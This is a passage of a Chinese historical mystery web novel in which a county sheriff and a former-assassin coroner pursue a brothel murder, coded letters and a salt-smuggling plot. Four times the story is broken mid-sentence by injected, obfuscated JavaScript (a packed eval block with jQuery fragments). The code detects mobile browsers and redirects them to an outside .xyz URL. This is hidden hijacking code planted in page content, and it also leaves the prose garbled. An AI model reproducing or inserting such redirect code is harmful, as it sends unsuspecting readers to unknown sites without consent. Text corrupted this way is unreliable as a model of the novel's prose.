说完他便放下手上的糕点,出了船舱,到了船尾的甲板上躺下,看天上那些稀疏的,忽隐忽现的星星。他知道人大多不希望自己脆弱的样子被别人看见,他在记簿上写的那句话并非是贬低,只是想起了从前的自己。 宋准在船舱里捂着脸哭了许久,好容易平复了下来,走出船舱去找令狐朝,看见他蜷缩着身子躺在船尾上,已经睡着了。宋准走近了坐在他身边,轻轻推了推他的肩膀:“令狐兄,进屋里去睡吧。” “啊……啊?”令狐朝伸了个懒腰,眯眼看着双眼通红的宋准,说,“好了?挺快啊,我年轻的时候一哭能哭一整晚。” “令狐兄别打趣我了,我是今夜喝了些酒才……” 令狐朝坐起身,手搭在他肩膀上,指着远处的河面说:“那时候我经常一个人坐在这,看头顶的月亮,看远处的河水流过我身边,再向更远处流去,我想我这一生是为了什么。我没什么家国大恨要报,没什么亲人夙愿要了,我甚至没什么自己的愿望,我活着又是为了什么。我没想明白,我就从这儿跳下去了。” 宋准一惊,转头去看令狐朝,看他脸上没什么表情,下意识问道:“令狐兄还年轻,何至于要想不开?” “没死成,不然现在跟你说话的难道是鬼吗?”令狐朝笑了笑,又接着说,“你还有你必须要完成的事情,所以不管怎样,你都不会像我一样一想不开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509374|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就去寻死。我呢,说不定哪天一副毒药就把自己送走了。” “令狐兄!怎么能说这些傻话!” 话音落,令狐朝哈哈大笑,笑得前仰后合,干脆又直接躺了下去:“哈哈哈哈哈哈哈哈……你啊,看你这么通人性,我便将你视作我的友人了,友人有夙愿想了,我便没什么好死的。” “我以为我们早就是友人……”宋准小声嘟囔了一句,但还是让令狐朝听见了,但他并没再说什么,盯着天上的星星,他那时在想什么?他自己也说不清楚,或许是时隔多年,自己再不是孑然一身。 第二日清早,宋准才刚从县廨出来,就被叫去衙门,说是州府要来人,金雀儿找到了。 宋准赶到时,王县令正带着人站在衙门前候着,看到宋准到了,连忙招手让他站在自己身边。 “宋县尉,今日身子可好些了?”王县令关切道。 “多谢县令关怀,睡了一觉,已然大好了。” 王县令拍了拍他的肩膀,咳了两声:“那就好,这几日没日没夜的查案子,老夫都看在眼里,只是我有不少文书要处理,又正值春耕,腾不出手帮帮你。” “王县令客气,查案本是县尉职责所在,宋某自当尽忠职守,做好分内事,岂能再让县令替我分担。” 说着话,州府的马车到了,车停稳,下来的是州里的司法参军曹牧,曹参军下车并未寒暄,而是直接拿出文书道:“临安县这几日送来的案件文书州府都已收到,请求协查寻找吟兰苑花魁金雀儿之事也已经有了结果,请县令,县尉随我至公堂。” 听了曹参军的话,宋准心里就是一惊,看到马车后跟着的侍卫拖着一个衣衫褴褛浑身是伤的女子,就猜到那多半就是金雀儿,他转头看了看王县令,王县令只是摆摆手示意他跟上,升堂审案。 侍卫们将那女子扔在地上,退回了两侧,曹参军对她说:“自报家门吧。” 那女子浑身一颤,断断续续说道:“小…小女子…金雀儿,是吟兰苑的……伎子。” “公堂上要大声回话!”一名侍卫吼道,金雀儿被吓得又是一抖,不住地磕头,大声说了一遍:“小女子…金雀儿,是吟兰苑的伎子。” 曹参军又问:“老鸨被害的那晚,你在干什么?” “回参军的话,我…我在陪客人。”金雀儿的头一直磕在地上不敢起身,声音里带着哭腔,像是被吓破了胆似的。 “几时离开的吟兰苑?” “我…我不知道,我被下了药,醒来时,就已经马车上,手脚都被绑住了,动弹不得。” “可知道是谁带你走的?” “小女子…不知……”金雀儿的声音又低了下去,边上的侍卫立刻走上前去将她踹翻在地,大吼道:“大声回话!” 宋准冲上去挡在侍卫和金雀儿之间说:“侍卫大哥,她只是太害怕了,何必要对她一个女子如此拳打脚踢。” 侍卫斜眼乜斜着瞧着宋准,十分不屑地嗤了一声,随后站到了一侧去,堂上坐着的曹参军见状摆摆手对宋准道:“宋县尉,本参军带她过来,只是让你们亲耳听听她的口供,此前在州府大牢里,她已然招供,老鸨是她所杀。” 13. 规则 “她是如何杀的老鸨?”王县令抬头问道。 曹参军冲侍卫使了个眼色,侍卫便将一卷文书交给了王县令,他看完后又递给了宋准,脸上满是不可置信。 “下毒后将老鸨挂在了提前系好的白绫上?”宋准念出口供上的一句话,又问,“她一个人?” 金雀儿在地上缓了许久,才又重新恢复到跪着磕头的姿势,她的脸始终没有抬起来,浑身颤抖着说:“是…鸨母平日里多有苛待,我明明攒够了赎身钱,她却不让我走!” 说到这里,金雀儿像是突然有了力气,几乎是哭喊着说出自己受到的种种委屈,最后了,她声音渐弱下去:“我认罪,杀人偿命,我都认。” 曹参军一拍惊堂木,对堂下众人说,又像是只对宋准一个人说道:“她已认罪,此案当结。将人带回州府判决。” “是!”曹参军带来的侍卫领命,拖着金雀儿往外走了,曹参军走到宋准面前说:“宋县尉,请借一步说话。” 宋准紧皱着眉头,跟着曹参军走到了侧室里,一言不发,曹参军似乎看出了他的心思,拍了拍他的肩膀,压低了声音说:“宋县尉,我知道此案疑点颇多,但金雀儿已经归案认罪,凶手投案,此案当到此为止。” “可是那玉蝉…” “我知道。我将你叫过来就是为了告知你这件事,二皇子喜好诗书,与许多文人共同组了九曜斋,为他们切磋技艺的,玉蝉乃是九曜斋的信物。” 宋准被惊得说不出话来,张了张嘴,没发出半点儿声音,曹参军又说:“所以,此案到此为止。这也是,上面的意思。” 说完这些,曹参军便转身离开了,宋准在里面又愣了会儿,才缓缓走出去,门外的街上,车马声渐渐远去,直到完全隐没在嘈杂的市井喧嚣里,耳里只剩下房檐上的燕子叫。 王县令送走曹参军回来,走到宋准身边对他说:“宋县尉,这几日你也辛苦了,案子既然已经结束,回去休息休息吧,你脸色看着也不太好,不如去请大夫瞧瞧。” “多谢县令,我没事,还需去写案宗,我还是先告退了。”宋准向王县令行过礼,迈着沉重的步子离开了,王县令在后面叹了口气道:“年轻人啊,都得过这道坎啊。” 此时正是正午,虽是早春,日头晒在身上也有些燥热,宋准浑浑噩噩地往河边走,走到令狐朝的船屋前叩响了门。 “不是跟你说让你滚远点?!”里面传来令狐朝烦躁的声音,吓得宋准一颤,哑着嗓子说:“令狐兄,是我,宋准。” 门开了,令狐朝披散着头发,里衣外穿了件绯色的长褙子,衬得他脸上更白了。他见到宋准尴尬地笑了笑说:“我不是说你,我以为是……哎,别哭啊,我没说你!” “令狐兄,金雀儿找到了,承认是她杀了老鸨。司法参军说,玉蝉是二皇子手下的九曜斋的信物,上面的意思是此案到此为止。”宋准定定地看着他,很慢地说完方才的事情,又补充道,“我没哭。” 令狐朝伸手在他脑门儿上弹了一下,把他拽进船舱里说:“案子结了不好吗?看你这一脸丧气样。” “我是觉得这案子没这么简单,玉蝉和二皇子有关,那这案子就这样糊里糊涂地结束了?金雀儿一个清瘦的伎子,怎么把中毒的老鸨挂上房梁?有毒的会子又是谁给她的?玉蝉又是谁用的?这些都通通不查证了吗?”宋准捂着脑袋,竹筒倒豆子似的说了一大堆,坐在榻上用力捶了一拳手边的被子。 “哎哎哎,我被子跟你可没仇啊,捶坏了要赔的。”令狐朝过去把被子掀到一边去,盘腿坐在了他旁边,又把他的肩膀掰过来看着他说,“昨天晚上我怎么跟你说的?有些事情不需要想得太明白,有些事情也不需要查得太明白,过于刨根问底,最后只会害人害己。” “可是那是一条人命……” 令狐朝收回手,又露出了个看傻子的表情瞧着他道:“看你一脸单纯,老实好骗的样子,我就给你讲个故事吧。” “从前有一个还没出师的仵作,跟着师父一起去验尸,尸体死状及其惨烈,不知道生前经历了什么。仵作和师父刚准备开始,就被赶来的死者的家人赶出去了,即使是县尉在旁劝解也没用,那家人就是不同意验尸。 没有验尸证据,一开始怀疑的凶手又一口咬定此事与他无关,死者的家人也不同意将事情闹大,这个案子也就不了了之了。 但是那个仵作,觉得自己有点本事,受害者死得那样惨,却没有任何一个人替他讨回公道,他就想,趁着月黑风高,去坟地里验,验出证据,一定要判了那个凶手。” 宋准听到这里,问:“后来呢?” 令狐朝露出个苦笑来,接着说:“后来,仵作真的查出了关键证据,但因为验尸流程不合规,证据无法作为呈堂证供,凶手还是没被判刑,而且死者一家也因此被灭门,仵作的师父也受到牵连,被凶手雇的刺客杀了。” “为何?” “因为家属强烈拒绝验尸的,多半都已经被凶手贿赂,私下已经和解,这个仵作自以为能为死者洗脱冤屈,让凶手绳之以法,结果不但没有达成目的,还害死了更多人。”令狐朝的表情渐渐严肃起来,盯着宋准的脸,“所以,你明白吗?有些事情,不要去想的太明白,否则只会害人害己。” 宋准被这一番话剧烈冲击,仿佛被当头一棒敲离自己所有的设想,但他仍从令狐朝的语气中听出不对,他试探地开口问道:“令狐兄…这个仵作,是你吗?” “对,是我。”令狐朝承认得很干脆,“受害者一家被灭门的那天,师父让我连夜离开,他知道下一个就是我,他说他再不认我这个徒弟,以后也不要在任何人面前提起他的名讳。宋准,我们这样的人,是没有办法去跟规则抗衡的,所谓规则,就是制定规则的人说了算,我们想要改变规则,无异于蚍蜉撼树,你明白吗?” 宋准看着面前面无表情的令狐朝,许久没有说出话,令狐朝的话句句在理,但自己却没有办法接受这样的现实,自幼所读的那些圣贤书,学的礼法道德,此时都像是笑话,嘲笑自己竟真以为自己是救世主。 “好了,不要再想这件事了,还有一个案子没结呢。”令狐朝拍拍他的肩膀下了床,从桌上拿了那本记簿,翻到那日在老码头的船上誊写的密信递给宋准说,“这个密信或许写的是契丹文,我们去郊区的棚户里问问有没有认识契丹文的北方人。” 宋准接过记簿看了看,点点头说:“好。” 令狐朝笑笑,说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509375|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “锅里还有昨晚的汤,吃了饭再去。”说完坐到桌前用一支木簪将头发盘起,换上他常穿的那件烟灰色直裰,又从药柜里拿出两块糍粑递给宋准道:“没别的好东西,凑合吃吧。” “无妨,多谢令狐兄开解。”宋准扯出个很勉强的笑来,被令狐朝捶了一下头。 “别硬笑了,笑得比哭还难看。” 顺着运河水一直向北,距离城墙外一里多地,就是很多北方人聚居的棚户区,他们基本都是在战火中被迫离开故乡的,没有容身之地,只能住在这里,至少有山有水,靠采山货和捕鱼也能勉强度日。 令狐朝从船尾解下了一叶小舟,把上面的杂物都丢回船尾,检查了一下有无漏水,招呼宋准上船:“走水路更快些,上来。” 顺水行舟,不过一盏茶的功夫二人就到了棚户区,刚停好船就看见不远处有几个妇人在河边浣衣,宋准走过去问道:“乡亲,劳驾,您可知道这有谁会认契丹文吗?” 几个妇人面面相觑,没答话,令狐朝凑过来小声说:“她们是不是听不懂临安话?” “那怎么办?我也不会说北方话。” 令狐朝叹了口气,走上前去和她们交谈几句,宋准在旁边十分惊讶,问:“令狐兄会说北方话?” “走吧,去找一个住在里面的教书先生。”令狐朝起身向那些妇人道过谢,转头对宋准道,“略懂一二。” 找到那位教书先生时,他正带着几个小孩识字,见到一身官服的宋准过来,立刻起身行礼道:“草民拜见县尉,不知县尉来此有何要事?” 宋准连忙将他扶起,拿出令狐朝誊写的密信递给他,说:“老先生,您认识契丹文否?能帮我看看这上面写的是什么吗?” 教书先生让孩子们先都去别处玩儿,才接过了记簿,看了一眼就摇头说:“县尉,这并不是契丹文啊。” “什么?不是契丹文?那您可知道这是什么文字?” 教书先生从旁拿出纸笔,写了几个契丹文递给宋准:“您这上面写的虽和契丹文字有些相似,但并不是契丹文,倒是有些像西夏文字,但草民并不认识西夏文,实在无能为力。” 令狐朝拿过教书先生写的那张契丹文看了看说:“多谢您了,您这几个字写的可是‘天地玄黄,宇宙洪荒’?” 教书先生一愣,随后点点头说:“正是。” 宋准也愣住了,看向令狐朝:“令狐兄认识契丹文?” 令狐朝没回应他,只对教书先生说:“多谢老先生,我们先告辞了。”随后拽着宋准离开了,待回到小舟上,宋准又问:“令狐兄怎么会认识契丹文?” “以后有机会再告诉你。”令狐朝笑笑,撑着船往上游去。宋准见他对此事讳莫如深,便也不再多问,而是换了个话题道:“令狐兄,我想再去一趟吟兰苑。金雀儿归案,她的东西应当作为证物带回衙门。” “好。左右我也闲着,可以随你同去。” 吟兰苑依旧有捕快看守,宋准带着令狐朝进到花魁楼阁里,找到了金雀儿的房间,一开门,却发现里面有个姑娘,正站在妆台前打量桌上的东西。 “什么人?谁准许你随意进出这里的?”宋准问道,那姑娘转过头来,竟然是小蛮。 14. 死士的孩子 “小蛮?你为何来此?”宋准问道。 小蛮走过来,笑着说:“花魁姐姐这里有些有意思的东西,宋县尉应该会喜欢。”说完又探头看了看跟在后面的令狐朝,说:“这位小哥好生俊俏,看着像我的一位故人呢。” “姑娘说笑了,我却不记得有姑娘这样的故人。”令狐朝冷冷道。 宋准伸手将令狐朝往自己身侧拽了拽,问小蛮:“什么有意思的东西?你且拿来。” 小蛮捂着嘴轻笑了一声,转身走向妆台:“随我来。” 在妆台上放着令狐朝上次就打开看过的妆奁,小蛮掀开上面的盖子,拿出上层的抽屉,在抽屉底部有一个暗格,启开后拿出来是一册巴掌大的书。 “这是什么东西?”宋准将那本书翻开,里面写的全都是契丹文字,他抬头看向小蛮,小蛮一挑眉,开口道:“问问这位小哥,不就知道了?” 令狐朝眉头紧锁,从宋准手里拿过那本书翻了翻,说:“是西夏文转换契丹文的密码本。” “晦言,你果然还记得。”小蛮再开口,却是一副男声,宋准立刻便听出来,是柳晏的声音。 这时候小蛮,或者说柳晏,走到了令狐朝身边,一歪头对宋准说:“宋县尉,共事这么些日子,你也没问问你这位技艺精湛的仵作,是何底细吗?” “柳晏,你是不是活腻味了。”令狐朝的话从牙缝里挤出来,眼里不知什么时候布满了血丝,冷冷地盯着柳晏。 “我今早就跟你说过,我是来帮你们的,你一再对我冷眼相看,自然也别怪我无情。”柳晏走到窗边,开了窗纵身一跃,只留下了一句,“鬼樊叛逃的刺客,希望宋县尉也能容你。” 宋准追到窗边,但柳晏早已不见踪影,他缓缓转回身看向一脸阴郁的令狐朝:“令狐兄,他说的…是什么意思?” 令狐朝伸手在脸上抹了一把:“早知道会有这么一天,就不该手软。” “什么?”宋准没有听清楚,走到他身边看着他的眼睛,又问,“听柳晏的意思,令狐兄从前就和他认识?” “是。”令狐朝回答的依旧干脆,“不仅是认识,是一同长大的。” 宋准想开口说什么,但刚开口就被令狐朝打断:“但这里不是说这些的地方,先回去,我会都告诉你。” 像是下了很大的决心,令狐朝转身叹了口气,迈着沉重的步子出去,抬头看了看天井上方,四四方方的一块天,他站在正中,像是永远也逃不出的命运。 回了令狐朝的船屋,他一进门就从甲板下搬出一坛酒,打开自顾自猛灌了几口,自嘲地笑了笑,坐在椅子上,望着站在门口的宋准,说起了他的经历。 “我在拜师做仵作之前,确实是鬼樊的刺客。” 开口第一句话就让宋准瞪大了眼睛,令狐朝看他的样子,笑着说:“你看看你那副样子,你是在怕我吗?” “怎…怎会…”宋准结结巴巴地说道,走到塌边坐下,离令狐朝更近了些。 令狐朝放下酒碗,从他有记忆开始讲起。 令狐朝并不确定自己究竟是什么时候去到鬼樊的,那时候的鬼樊据点还在西凉,被当作刺客培养的孩子没有名字,只有代号,那些孩子有些是死士的孩子,有些是从人牙子那买来的。 鬼樊喜欢容貌出众的孩子,培养成刺客,能出入的场合更多,接触的人也很多,因此无论是君子六艺,还是市井气息,都要求那些孩子做到精通。 柳晏是最有傲骨的一个,也受了更多的锉磨,被用铁链拴在营帐外不给吃不给喝,因为他不断地试图挣脱,铁链在脖子上留下了一圈疤痕。鬼樊的手段,再硬的傲骨最后也都屈服了,腰上被刺上飞蛾刺青,从此即使任务是飞蛾扑火有去无回,也要去做。 说到这里,令狐朝脱下外衣,掀开腰上的里衣,露出了一片凹凸不平的疤痕,道:“喏,像这样,不过我离开鬼樊之后用药把刺青融掉了,只能勉强看出个形状。” 他消瘦的身体上,那片疤痕不小,触目惊心,确实如他所说能依稀辨出是一只飞蛾。宋准伸手轻轻抚上那片疤痕,令狐朝身子抖了一下,立刻穿好了衣服坐回椅子上咳了一声道:“你…别碰我…” 令狐朝说他在十九岁之前都在鬼樊做刺客,最后一次任务是放火烧掉一户人家的空宅,并不是什么凶险的事情,但那次任务结束,他被人追杀,受了很重的伤,差点死在外面,还好被他师父捡回去救了过来。 伤养好了之后,他就决定不再把自己的命搭到这种不断杀人才能存活的境地里,融掉了刺青,师父死后,他就搬到了南方来。 “柳晏来找过我几次,都被我骂走了,我不知道他到底有什么目的,男扮女装混到吟兰苑里,但他可能知道些什么,你之前说他暗示你此事和花魁有关,还有老鸨是因为撞破了交易才被灭口。我不知道他在里面扮演了什么角色,这么多年过去,还真的让他混到鬼樊楼楼主了。” 宋准呆呆地眨了眨眼睛,不知道什么时候嘴都张大了,令狐朝伸手扶了下他的下巴,把他的嘴合上:“好了,知道我的身份了,要不要把我抓回衙门,你自己决定,我都认。” “不…不是,令狐兄…我为何要抓你回去,你的过去…也不是你能选择的,你也是被迫的啊。”宋准说。 令狐朝叹了口气,说:“你没明白我的意思。柳晏为什么说那样一句话,你我萍水相逢,难得投缘,这样的事情我不能再瞒你。我最后一次的任务,烧掉的那座空宅……”说到这里他顿住了,深吸了口气后才缓缓说出最后几个字,“是卫府。” 宋准猛地站起来,向后退了几步,头磕在了墙上,却感受不到痛,眼前被泪水模糊,冲出了门外,刚跑到了船头的甲板上,就眼前一黑,失去了意识。 混沌中,他好像又看见了那场大火,人群四散奔逃,他站在原地,动弹不得,火从脚下蔓延上来,渐渐将他吞没……自己已经死了吗?似乎感觉身边有许多鸟在叫,叽叽喳喳乱糟糟的,又好像不是鸟,是人在说话。 “我就知道,他怎么可能接受得了。” “那也用不着你过来上眼药,你是觉得这样很有意思吗?” “不破不立,你懂不懂这个道理?难道你要等他放心把命都交给你了,你再说那些脏事儿都是你干的?” “我就是懂我才会现在说,反正我也活够了,他醒来想怎么处置就怎么处置吧。” “你有必要吗?你想死,我却不想让你死。” …… 手上一阵刺痛过后,有人在往自己嘴里灌什么东西,很苦,忍不住偏头去躲,这一动,意识瞬间回笼,宋准睁开眼,发现自己正躺在令狐朝的床上,门口站着的好像是柳晏,令狐朝正坐在床边,端着碗一脸幽怨地看着门口双手抱胸的那位。 “令狐…兄…”宋准哑着嗓子叫他,他立刻转过头,道:“醒了?你气血攻心倒在外面,我把你抬回来了。” 他挣扎着要坐起,令狐朝就那样静静地看着他,他转头看了一眼柳晏,说:“令狐兄还有客人,我便不叨扰了。”说完就要下床,令狐朝拉住了他的衣袖,小声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509376|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了句:“抱歉。” 宋准摇摇头,轻轻拂开他的手,向门口走去,经过柳晏身边,他突然开口道:“那时候我们都没得选。” “我知道。”宋准说,“我不怪你们。” 外面日头正烈,宋准走在阳光下,却像身处寒冰窖里,冷得人浑身发抖。难怪,那天令狐朝会说,那些事都不像是老师做的,原来是冤枉你的人,比任何人都清楚你有多冤枉。 想到这些,他甚至开始怀疑,令狐朝对他说的那些话里,究竟几句真几句假,柳晏的出现,究竟是巧合,还是他们一开始就算计好的?他不敢再深究,如果令狐朝说的都是真的,那么他也是受害者,也因此险些殒命,自己又怎么能因此责怪他,而不去寻找真正的凶手? 但如果他说的是假的呢?自己能不能承受得了被算计的代价? 船屋里,令狐朝倒掉了炭炉上的药,收起了银针,拉平了有些褶皱的褥子,坐在榻边,看着靠在门边的柳晏:“满意了?” “谁知道他连这都承受不了,他不是说了不怪你吗?”柳晏走近了,坐在了桌边上,“那天你给我吃的那个什么断肠散,什么时候发作啊?我只想死在你面前。” “你以为人人都和我们一样?别人有父母兄弟,有自己的大抱负,我为什么离开鬼樊,你不清楚吗?”令狐朝上前掐住了柳晏的脖子,迫使他看着自己,“断肠散,根本就没有那种东西。” “我就知道,你怎么……会舍得杀我,我说了,我只是知道了一些事情,决定来帮帮你们,我们还是会殊途同归的。”柳晏笑了,伸手覆上令狐朝的手,说,“况且,我们毕竟出生入死那么多年,我的手段难道你不清楚?我要是想对他做些什么,他还能活到现在吗?” “你最好跟你说的一样,否则我也有无数种手段让你生不如死。”令狐朝松开了手,退回塌边坐下,拿出那本西夏文的密码本开始译密信上的内容,柳晏依旧靠在桌旁,掏出块布擦着随身的佩剑。 从西夏文译出契丹文字之后,令狐朝发现那上面的内容还是前言不搭后语,烦躁地一抬头:“哎,过来看看这到底是什么东西。” 柳晏收起了剑,笑道:“呀,竟然还有晦言译不出的密信,这个金雀儿果然有点东西。”随后接过了那页纸,看起了上面的内容,看着看着,柳晏的眉头便皱起了。 “译一遍不是最终的结果,拿笔来。”柳晏神色严肃,接过令狐朝手中的笔,在第一遍译出的契丹文字上写出对应的汉文,到这一步,他停了下来,从袖中拿出了一本和西夏密码本一样的书来,翻开对应着,将那些杂乱的文字最终译成一篇记录了私盐交易时间和交易地点的密信。 “汉文密码本哪来的?”令狐朝掐着他的后颈问。 “疼疼疼疼疼!”柳晏大叫,伸手去够令狐朝的手,见他并没半点要松开的意思,只好老实交代,“金雀儿房里拿的,妆奁有两个夹层。松手!松手!” 令狐朝这才松开了手,对他说:“我告诉你,你要是真心想帮忙,就少给我搞你那一套。” “我给你们透消息,我自己担了多大风险,你以为楼主很好当吗?”柳晏坐回桌边,嘟嘟囔囔地抱怨。 “是我逼你给我透消息吗?是我逼你当的楼主吗?自己的那点儿破事儿都解决不了,还有脸跟我抱怨?这么有骨气,就把鬼樊解散了回家种田去。” 令狐朝说完,就带着译好的密信和密码本出去了,他预备把这些东西都交给宋准,官盐走私不是小事,宋准不可能会为了自己的恩怨就放任不管。 15. 交易 县廨门口,令狐朝靠在石狮子后面,思索了半天见到宋准应该如何开口,手里的纸和记簿被卷起来又展开,最后抬头叹了口气,迈着沉重的步子进了宋准住的院子。 “宋县尉?”令狐朝试探性地叫了一声,无人应答,便又叫了几声,过了好一会儿,来了个衙役说:“宋县尉在后院架阁库写案宗,去后院找他吧。” “哦,多谢了。”令狐朝向那衙役行了一礼,那衙役却直接扭头走了,看着衙役离开的背影,令狐朝自嘲地笑笑,转身往后院去。 架阁库的门开着,能看见宋准在正对门的书案前写文书,令狐朝深吸一口气,在门口叫了声:“宋县尉?” 宋准抬头,看见了门口站着的令狐朝,愣了半晌,道:“你怎么来了?” 令狐朝进门,把记簿和译出的密信放在了他面前,又从袖中拿出了那两本密码本放下,说:“密信我让柳晏译出来了,应该能帮到你,记簿里有密信里的契丹文字和汉文的对照,你…你自己翻着看吧,我就先走了。” 气氛尴尬。 宋准拿起译好的密信扫了一眼,叫住了已经转身走到门口的令狐朝:“令狐兄不多留一会儿了吗?” 令狐朝回头,对上了宋准一潭死水一样的眼睛,他说:“我只能对你说抱歉,我确实做了那些,并没有什么好抵赖的。你…你打我也好骂我也好,把我送去州府以死谢罪也好,我都认。” 说完他站在原地,像是在等待着宋准的裁决,日头开始西斜,正照在他脚边的地上,光线里翻飞的灰尘在他身边游动着,让人看不清此刻他脸上的表情。 “令狐兄,我并不想让你以死谢罪。”宋准放下笔,慢慢地走到他面前,“我知道你的过去有多身不由己,我不怪你。” 令狐朝张了张嘴,没说出话来,两行泪却顺着脸颊淌下,滴落在地。他慌忙抬手去擦,回头避开宋准的视线,宋准拿出块帕子递给他道:“令狐兄,我真的不怪你。” 他接过宋准的帕子,苦笑着说:“是我不好,你怪我我也认。” 话音落,房梁上倒挂下来一个人,漫不经心地说道:“哟,演苦情戏呢,是《精忠旗》啊还是《白兔记》啊?” 宋准向声音来源看去,又是柳晏,他穿着一身绯色的长衫,发间坠了白玉珠,戴着一支雀翎金簪,脸上施了些妆,整个人像个开屏的孔雀。 “擅闯架阁库要地,柳公子是来寻死的吗?”宋准沉声问道。 柳晏向上一翻,跳下房梁,落地依旧无半点声音,站起了身说:“我是来告诉你们,吟兰苑现在是我的产业了,这月初九,有大人物要来,想要什么消息,我可以留意。” “你会这么好心?”令狐朝皱眉问道。 柳晏叹了口气:“唉,我说,你到底要怎么样才能相信我?这样吧,我立个字据,立个字据总行吧?” “你们…要不去别处吵吧。”宋准退后几步道,“柳公子好意我心领了,若有消息烦请让令狐兄告知我就是,只是不要再悄无声息地出现在房梁上了,多谢你。” 柳晏轻轻一跃,又跳到了房梁上坐下,倒挂下来轻声说:“我的身份见不得光,要进出这些地方只能这样,宋县尉若不喜欢,那我只好把消息都自己攥着喽。” “你有什么消息必须要在房梁上才能说?”令狐朝走上前捂住了柳晏的口鼻,在他挣扎的时候将他拖了下来。 宋准叹口气摇摇头,不再理会那两个人,走回桌前继续写完剩下的一点案宗,整理完归档,拿起了令狐朝拿来的密信和密码本细细查看。 许是誊写的信是从中间随便拿的,上面写的交易时间早已经过去月余,交易地点是吟兰苑,并不令人意外。 看到这里,宋准忽然想起来一件事,抬头看向被令狐朝死死摁在地上的柳晏道:“柳公子,几日前我房中的字条是你送的吗?” “什么字条?我不知道啊。”柳晏话音落,令狐朝就在他后脑上拍了一巴掌:“装傻是吧?” “是是是!是我送的!”柳晏的脸在地上蹭了不少灰尘,手被令狐朝制在背后动弹不得,说出的话也含糊,“好晦言,能不能先把我放开,我不上房梁还不行吗?啊啊啊我的脸!呜呜呜疼!疼!” 宋准走到他身边蹲下,压低声音问:“你说的是不要相信谁。” “黄寅。”柳晏不再挣扎,听天由命似的侧脸贴地,衣领在这样的动作下散开了些,露出了一条可怖的疤痕,蜿蜒曲折,绕在颈上一圈。 “他怎么了?”宋准和令狐朝异口同声问出这一句,话音落,不自觉都看了对方一眼,又都立刻躲开目光,看向地上的柳晏,令狐朝松开了他,他迅速站起身拍拍身上的尘土,说:“李鹤年是他雇人去杀的。” “什么?”宋准突然暴起,冲过去揪住了他的衣领,“他雇你杀你就杀?你知不知道他死了线索断了多少?还敢在柜坊威胁我?还好意思在事后给我递字条?” 柳晏向令狐朝投去求助的目光,却只得到了一个白眼,他这才勉强笑笑说:“他是雇人杀了李鹤年,但他雇的人不是我……” “不是你?不是你你出现在古董行干什么?”宋准又将柳晏的衣领攥紧了些,他把手起来,头偏向一边向后躲,道:“我去救人啊,谁知道去晚了,没赶上……” “你身上的香料又是怎么回事?”令狐朝问。 “从客人那顺的啊,他们有好多呢。” 宋准放开了他,关上了架阁库的门,回头指着靠在书架上的令狐朝,还有站在一旁整理衣服的柳晏:“你,还有你,真是…啊啊啊啊啊啊啊啊!我真想把你们全都杀了。”说完他快步走到书案边,团起了两张废纸砸完令狐朝砸柳晏。 “你,你怎么证明人不是你杀的?你又是怎么知道黄寅雇凶杀人的?” 柳晏被纸团砸到了眼睛,捂着眼睛靠在一旁的柱子上,说:“当然是在吟兰苑接客的时候听到的啊,不然我为什么要混到青楼里去?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509377|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “难道不是因为你好男色?”令狐朝在旁嗤了一声,“你那些恩客知道你是男身吗?” 柳晏听了这话,起身走到令狐朝身边,伸手搭上他的肩膀:“那能一样吗?我也不是什么都吃的,来青楼找乐子的男人能是什么好东西?又脏又臭的,哪有我的晦言好啊,好晦言~你什么时候才能从了我?” 令狐朝飞快地甩开他的手,和他拉开距离吼了声:“滚啊死变态!” “你们两个都闭嘴!”宋准咬牙切齿道,“柳晏,你听哪个客人说的黄寅雇凶杀人?你有什么证据证明你是去救人的?你又为什么要再三阻止我查案?” 柳晏一语不发,走到书案边拿起笔,翻开令狐朝的记簿,寥寥几笔画出了一张人像,递给宋准,比划了些奇形怪状的手势,又指指那张画像。 “什么意思?说人话。”宋准一皱眉。 “不是你让我闭嘴的吗?”柳晏抱怨着,又说,“黄寅那天就是和这个人说起了要刺杀李鹤年的事,说事成之后有重谢。我不让你查案是因为我知道这个案子跟九曜有关,我和他们打过交道,很不好惹,你们要是牵连进去,肯定不能活着出来。” 